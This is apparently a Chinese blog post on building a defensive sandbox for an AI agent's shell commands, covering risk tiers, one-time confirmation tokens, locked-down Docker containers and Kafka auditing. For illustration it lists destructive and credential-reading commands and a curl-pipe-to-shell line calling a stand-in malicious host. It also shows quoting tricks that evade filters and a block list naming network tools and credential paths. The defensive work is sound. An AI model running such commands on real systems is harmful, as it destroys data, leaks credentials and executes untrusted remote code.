从零设计一个 Agent 安全沙箱:Docker 隔离、三级风控与 Kafka 审计

前言

Agent 不仅可以生成文本,还可以调用 Shell 工具完成文件处理、项目构建和脚本执行。

例如:

shell 复制代码
ls -la
python generate_report.py
npm run build

但如果直接在宿主机执行模型生成的命令,可能出现误删除、凭证泄露、资源耗尽等问题:

shell 复制代码
rm -rf /
cat ~/.ssh/id_rsa
curl malicious.example/script.sh | sh

为此,我在 Agent 中设计了一套基于 Docker 的安全沙箱,主要包含:

text 复制代码
三级命令风险判定
警告级操作二次确认
Docker 一次性容器隔离
CPU、内存、PID 和超时限制
Kafka 异步审计

一、整体架构

完整执行流程如下:

text 复制代码
Agent 生成命令
        ↓
调用 exec_command 工具
        ↓
命令安全校验
        ├── BLOCK:直接拒绝
        ├── WARN:等待用户确认
        └── SAFE:允许执行
        ↓
获取全局并发额度
        ↓
启动一次性 Docker 容器
        ↓
执行命令并收集结果
        ↓
异步生成审计事件
        ↓
本地 Outbox 持久化
        ↓
投递到 Kafka

这套架构的核心不是单纯依赖 Docker,而是通过"策略检查 + 人工确认 + 容器隔离 + 审计追踪"形成多层防护。

二、Shell 命令如何进入沙箱

Agent 不能直接调用宿主机 Shell,只能调用统一的 exec_command 工具。

工具接收三个参数:

java 复制代码
command              // 要执行的命令
confirm              // 用户是否已确认
confirmation_token   // 一次性确认令牌

调用时还会自动注入:

text 复制代码
userId
workspaceId
sessionId
requestId

这些信息一方面用于隔离确认权限,另一方面用于后续审计。

对应的请求对象大致如下:

java 复制代码
public class ExecRequest {

    private String command;
    private Duration timeout;
    private boolean confirm;
    private String confirmationToken;

    private String userId;
    private String workspaceId;
    private String sessionId;
    private String requestId;
}

三、三级风险管控

命令进入沙箱后,首先由 Validator 进行风险判定。

风险级别 处理方式 示例
SAFE 直接执行 pwd、date、echo hello
WARN 用户确认后执行 rm file.txt、npm install
BLOCK 无条件拒绝 rm -rf /、sudo reboot

SAFE:安全命令

没有命中风险规则的命令可以直接进入 Docker 执行阶段,例如:

shell 复制代码
pwd
date
echo hello
ls -la

WARN:告警级命令

告警级命令不一定恶意,但可能产生副作用,例如:

text 复制代码
rm 普通文件
输入输出重定向
kill 进程
pip install
npm install
apt install
多行命令
管道符
&&、||、;

一条命令可能命中多个规则,系统会把所有风险项展示给用户。

BLOCK:阻断级命令

阻断级命令不会执行,也不能通过用户确认绕过。

当前主要包括:

text 复制代码
rm -rf 和删除根目录
mkfs、dd、写入块设备
sudo、su、chmod 777
shutdown、reboot、iptables
$()、反引号和 eval
访问 /etc/shadow、.ssh、.aws、.kube
curl、wget、ssh、nc 等网络外联
Fork 炸弹、killall、nohup

命中后直接返回:

text 复制代码
exitCode = -1
[拒绝执行] 禁止......

此时不会创建 Docker 容器。

四、如何防止规则绕过

如果只检查原始命令字符串,可能被引号和转义绕过,例如:

shell 复制代码
r\m -rf /
r'm' -rf /

因此,系统会先对命令进行有限的 Shell 规范化:

text 复制代码
检查命令长度
检查控制字符
解析单双引号
处理反斜杠转义
拒绝未闭合引号
生成规范化命令

然后同时使用原始命令和规范化命令匹配阻断规则:

java 复制代码
String normalized = normalizeShell(command);

for (Rule rule : BLOCK_RULES) {
    if (rule.matches(command)
            || rule.matches(normalized)) {
        return block(rule.reason());
    }
}

系统还会直接拒绝 Shell 变量展开、命令替换和异常控制字符。

这种实现适合较简单的单条命令。如果未来要支持复杂 Shell 脚本,可以引入 Shell Parser,把命令解析成 AST 后再进行安全检查。

五、警告级操作如何二次确认

对于 WARN 命令,只传入 confirm=true 并不安全,因为模型自己也能生成这个参数。

因此,系统采用独立的确认令牌机制:

text 复制代码
Agent 第一次提交 WARN 命令
        ↓
沙箱生成一次性令牌
        ↓
前端向用户展示风险
        ↓
用户点击确认
        ↓
调用独立确认接口
        ↓
Agent 携带令牌重新执行

第一次调用:

json 复制代码
{
  "command": "rm temp.txt"
}

沙箱返回:

text 复制代码
exitCode = -2
confirmationToken = 随机 UUID

令牌会绑定:

text 复制代码
原始命令
userId
workspaceId
sessionId
过期时间
批准状态

默认有效期为 5 分钟。

六、确认令牌如何防止越权和重放

用户确认时,前端调用独立接口:

http 复制代码
POST /api/sandbox/confirm

请求内容如下:

json 复制代码
{
  "confirmation_token": "xxxxxxxx",
  "session_id": "session-1001"
}

服务端会校验令牌是否属于当前用户、工作区和会话。

确认成功后,Agent 重新提交:

json 复制代码
{
  "command": "rm temp.txt",
  "confirm": true,
  "confirmation_token": "xxxxxxxx"
}

沙箱会再次检查:

text 复制代码
令牌已经批准
令牌没有过期
命令与原命令完全一致
用户、工作区和会话一致
同时携带 confirm=true

执行前,令牌会被原子删除,因此只能使用一次。

如果两个请求同时使用同一个令牌,只有一个能够成功执行,另一个会因为令牌已失效而重新进入待确认状态。

这样可以防止:

  • 模型自行伪造确认;
  • 用户甲的令牌被用户乙使用;
  • 批准一个命令后执行另一个命令;
  • 浏览器重试导致命令重复执行。

七、Docker 隔离环境

通过安全检查后,系统会为命令创建一个全新的一次性容器。

Docker 参数大致如下:

shell 复制代码
docker run --rm \
  --name agi-sandbox-<uuid> \
  --pull never \
  --init \
  --security-opt no-new-privileges \
  --cap-drop ALL \
  --user 65534:65534 \
  --workdir /tmp \
  --ipc none \
  --ulimit nofile=256:256 \
  --network none \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=64m \
  --memory 256m \
  --memory-swap 256m \
  --cpus 0.50 \
  --pids-limit 64 \
  alpine:3.19 \
  sh -c "<command>"

主要隔离措施如下:

配置 作用
--rm 执行结束后删除容器
--user 65534:65534 使用非 root 用户
--cap-drop ALL 移除全部 Linux capabilities
no-new-privileges 禁止获得新权限
--network none 禁止网络访问
--read-only 根文件系统只读
--tmpfs /tmp 仅允许有限的临时写入
--ipc none 禁止共享 IPC
--init 回收僵尸进程

容器不挂载宿主机目录,也不挂载 Docker Socket,因此默认无法访问宿主机文件和 Docker daemon。

生产环境还应将镜像标签固定为摘要:

yaml 复制代码
image: alpine@sha256:xxxx

避免镜像内容发生漂移。

八、资源配额限制

除了隔离权限,还需要防止命令耗尽宿主机资源。

当前默认配置为:

yaml 复制代码
sandbox:
  timeout-ms: 30000
  max-output-bytes: 65536
  memory-limit-mb: 256
  cpu-percent: 50
  max-pids: 64
  max-concurrent-executions: 4
  acquire-timeout-ms: 1000

对应限制如下:

资源 默认限制
单次执行时间 30 秒
stdout + stderr 64KB
内存 256MB
CPU 0.5 核
PID 64
全局并发数 4
临时目录 64MB

命令超时后,系统会:

text 复制代码
强制终止 docker run
执行 docker rm -f 删除容器
设置 killed=true
返回 exitCode=-4

stdout 和 stderr 共用 64KB 配额。达到上限后继续读取但不再保存,避免输出管道阻塞,同时设置:

text 复制代码
truncated = true

系统还通过信号量限制全局最多同时运行 4 个容器。

如果一秒内无法获得执行额度,则返回:

text 复制代码
exitCode = -6
[沙箱繁忙] 并发执行已达到上限

九、Docker 不可用时如何处理

应用启动时会探测 Docker daemon:

shell 复制代码
docker version --format "{{.Server.Version}}"

如果 Docker 不可用,后续命令直接返回:

text 复制代码
exitCode = -3
Docker 后端不可用

系统不会自动退化为宿主机执行,这种策略称为:

text 复制代码
Fail Closed

虽然系统提供 local 和 mock 后端,但必须显式配置。

其中 local 后端还要求:

text 复制代码
allow-unsafe-local-backend=true
开启命令白名单
白名单不能为空

从而避免因为 Docker 故障意外绕过隔离环境。

十、Kafka 审计记录什么

无论命令执行成功、被阻断、等待确认还是执行超时,都会生成审计事件。

事件类型为:

text 复制代码
sandbox.exec

主要字段包括:

json 复制代码
{
  "event_id": "UUID",
  "occurred_at": "执行时间",
  "command": "脱敏后的命令",
  "command_sha256": "原命令摘要",
  "policy_version": "sandbox-v2",
  "user_id": "u100",
  "workspace_id": "team-a",
  "session_id": "session-1",
  "request_id": "request-1001",
  "level": "warn",
  "violations": ["删除文件操作"],
  "exit_code": 0,
  "duration_ms": 120,
  "backend": "docker",
  "killed": false,
  "truncated": false,
  "outcome": "executed"
}

命令中的 Token、密码、API Key 和 Bearer Token 会替换为 ***。

同时保留原命令的 SHA-256,方便在不暴露敏感内容的情况下判断两次操作是否对应同一命令。

用户确认行为也会生成:

text 复制代码
sandbox.confirmation

记录谁在什么会话中批准了哪个确认挑战。

十一、为什么使用本地 Outbox

如果命令执行完成后直接发送 Kafka,Kafka 临时断线时,审计事件可能丢失。

因此,系统采用本地文件 Outbox:

text 复制代码
审计事件
   ↓
写入 .evt.tmp
   ↓
原子重命名为 .evt
   ↓
后台线程读取
   ↓
发送 Kafka
   ↓
收到 ACK
   ↓
删除本地文件

Kafka Producer 开启:

text 复制代码
acks=all
enable.idempotence=true

如果 Kafka 不可用,Outbox 文件会继续保留。后台任务每隔一段时间重新连接,连接恢复后自动补发。

损坏的事件文件会被改名为 .bad,避免阻塞后续正常事件。

Outbox 最大积压数量默认为:

yaml 复制代码
max-pending-events: 10000

防止 Kafka 长时间不可用时无限占用磁盘。

这套机制提供的是"至少一次"投递,因此下游消费者还需要根据 event_id 去重。

十二、一次完整执行流程

以警告级命令为例:

shell 复制代码
rm temp.txt

完整流程如下:

text 复制代码
1. Agent 调用 exec_command

2. 工具注入用户和会话信息

3. Validator 判定为 WARN

4. 沙箱生成一次性确认令牌

5. 前端向用户展示风险

6. 用户调用确认接口批准

7. Agent 携带 confirm=true 和令牌重新调用

8. 沙箱校验命令、用户、工作区和会话

9. 原子消费一次性令牌

10. 获取全局执行额度

11. 创建受限 Docker 容器

12. 执行命令并收集输出

13. 删除容器并释放执行额度

14. 返回退出码、耗时和输出

15. 异步生成审计事件

16. 事件写入本地 Outbox

17. Kafka 恢复后自动投递

十三、这套设计解决了什么问题

通过这套安全沙箱,Agent 获得了以下能力:

  • 所有 Shell 命令统一经过安全入口;
  • 使用 SAFE、WARN、BLOCK 实现三级风险控制;
  • 阻断极高风险命令;
  • 对删除、安装和管道操作进行人工确认;
  • 确认令牌与命令和用户身份绑定;
  • 使用一次性令牌防止重复执行;
  • 使用非 root Docker 容器隔离命令;
  • 禁止网络访问和宿主机文件访问;
  • 限制 CPU、内存、PID、时间和输出;
  • 限制全局并发容器数量;
  • Docker 不可用时拒绝执行;
  • 对命令执行和用户确认进行完整审计;
  • 使用 Outbox 保证 Kafka 断线期间的事件持久化。

总结

这套安全沙箱的核心并不是简单地执行:

shell 复制代码
docker run

而是建立一条完整的安全链路:

text 复制代码
命令进入
   ↓
风险判定
   ↓
人工确认
   ↓
容器隔离
   ↓
资源限制
   ↓
结果收集
   ↓
异步审计

其中:

text 复制代码
三级风控决定命令能不能执行

二次确认决定用户是否授权执行

Docker 决定命令能够影响什么

资源配额决定命令能够消耗多少

Kafka 审计负责记录谁在什么时候执行了什么

只有把策略校验、用户确认、Docker 隔离、资源限制和审计追踪组合起来,才能让 Agent 在获得真实操作能力的同时,保持安全、可控和可追溯。

相关推荐
深蓝AI4 小时前
不调模型不改壳:CMU 开源 Hermit,给 Agent 外挂一个能训练的适配器
人工智能·agent
汤姆宝库6 小时前
世界模型深拆:视频生成、潜在模拟与物理直觉
人工智能
weixin_468466859 小时前
从“看懂”到“做到”:视觉-语言-动作模型如何让机器人真正执行指令
人工智能·ai·机器人·大语言模型·前沿科技
朋友圈自动点赞工具9 小时前
科学AI插件化:从蛋白质结构到古籍修复
人工智能
龙粤GEO10 小时前
实体Entity在GEO中代表什么含义
人工智能
剑雨巍巍11 小时前
AI Agent面试之基础概念
人工智能
微帧Visionular11 小时前
AI视频单帧清晰,播放时却闪烁,原因是什么?
人工智能·深度学习·音视频
武子康11 小时前
MultiNet6 空闲崩溃:`EXCVADDR=0x8` 后又出现 `CORRUPT HEAP`
人工智能·后端·agent
云智慧AIOps社区12 小时前
智能巡检机器人应用场景解析:机房巡检、园区安防、管廊巡视与展厅导览
人工智能·机器人·具身智能·智能巡检机器人·企业级智能巡检机器人·机房巡检机器人·导览机器人